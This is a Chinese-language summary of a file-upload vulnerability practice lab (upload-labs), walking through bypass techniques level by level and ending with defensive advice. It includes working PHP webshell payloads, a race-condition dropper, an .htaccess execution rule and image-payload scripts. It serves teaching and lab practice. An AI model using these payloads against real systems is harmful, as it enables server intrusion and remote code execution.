「造轮子」一个文件上传靶场知识总结记录
字数 1496 2025-08-18 11:35:44
文件上传漏洞全面解析与实战指南
一、环境部署
使用Docker一键部署文件上传靶场环境:
# 进入项目文件夹
cd upload-labs-docker
# 一键部署运行
docker-compose up -d
默认13个关卡运行在30001-30013端口,如需自定义端口可修改docker-compose.yml文件。
二、前端验证绕过(JS校验)
检测方法
- 上传文件时未抓到数据包就提示文件类型不正确
- 浏览器直接拦截上传请求
绕过方法
1. 抓包修改
- 将shell.php重命名为shell.png上传
- 抓包时将文件名改回shell.php
2. 禁用JS
Chrome浏览器:
- 审查元素 → Settings → Debugger
- 勾选"Disable JavaScript"
3. 调试JS(技术展示)
- 审查元素下断点
- 单步调试找到whitelist变量
- 修改数组元素值
- 放行数据包
三、MIME类型校验绕过
绕过方法
抓包修改Content-Type为合法类型:
- image/png
- image/jpeg
- image/gif
四、文件头校验绕过
绕过方法
- 使用标准图马
- 在文件开头添加合法文件头:
- GIF文件:
GIF89a - PNG文件:
‰PNG - JPEG文件:
ÿØÿà
- GIF文件:
五、黑名单缺陷绕过
1. 替换为空缺陷
缺陷代码示例:
$file_name = str_replace($deny_ext,"",$file_name);
绕过方法:
- 使用嵌套后缀:
shell.pphphp
2. 大小写绕过(Windows环境)
缺陷代码示例:
$file_name = str_ireplace($deny_ext,"",$file_name);
绕过方法:
- 使用大小写混合:
.PHp
六、黑名单扩展名绕过
Apache解析规则
默认解析为PHP的扩展名:
- phtml
- pht
- php
- php3
- php4
- php5
七、.htaccess文件攻击
攻击步骤
- 上传.htaccess文件:
AddType application/x-httpd-php .png
- 上传shell.png文件(实际为PHP代码)
八、00截断攻击
1. GET型00截断
利用条件:
- PHP版本<5.3.4
- magic_quotes_gpc=off
攻击方法:
在路径参数后添加%00:
upload.php?path=shell.php%00
2. POST型00截断
攻击方法:
- 抓包在文件名后添加%00
- 在Burp Suite中手动URL解码%00
九、条件竞争攻击
攻击步骤
- 上传包含以下代码的PHP文件:
<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>
- 使用Burp Suite的Intruder模块:
- 无限爆破上传请求
- 同时无限访问上传的文件
十、move_uploaded_file缺陷利用
缺陷特性
当$img_path可控时,会忽略路径末尾的/.
攻击方法
构造路径如:
upload/shell.php/.
十一、二次渲染绕过
1. GIF文件绕过
- 对比渲染前后GIF文件
- 在未变化部分插入PHP代码
2. PNG文件绕过
写入PLTE数据块
- 将PNG转换为索引颜色模式
- 使用脚本插入payload:
python poc_png.py -p '<?php eval($_REQUEST[1]);?>' -o gg_shell.png old.png
写入IDAT数据块
使用专用脚本生成包含payload的PNG:
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,...);
$img = imagecreatetruecolor(32, 32);
// 生成代码...
imagepng($img,'./shell.png');
?>
3. JPG文件绕过
- 使用专用脚本插入payload:
php jpg_payload.php input.jpg
- 成功率技巧:
- 使用较大图片
- payload尽量简短
- 白色背景图片成功率更高
- 多次尝试
推荐payload:
<?php $_GET[0]($_POST[1]);?>
十二、代码审计绕过
漏洞代码分析
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$file_name = reset($file) . '.' . $file[count($file) - 1];
攻击方法
构造数组型save_name:
save_name[0] = "shell.php/"
save_name[2] = "png"
最终生成路径:
shell.php/.
利用move_uploaded_file特性绕过
十三、防御建议
- 使用白名单而非黑名单
- 文件重命名(避免用户控制文件名)
- 上传目录设置为不可执行
- 对文件内容严格校验
- 及时更新PHP版本
- 禁用危险函数(如system、eval等)
- 设置文件大小限制
- 使用随机生成的文件名
- 对图片进行二次渲染处理
- 设置严格的MIME类型检查
十四、总结
文件上传漏洞形式多样,防御需要多层次防护。本文涵盖了从基础的前端校验绕过到复杂的二次渲染绕过等13种攻击技术,是全面理解文件上传漏洞的实用指南。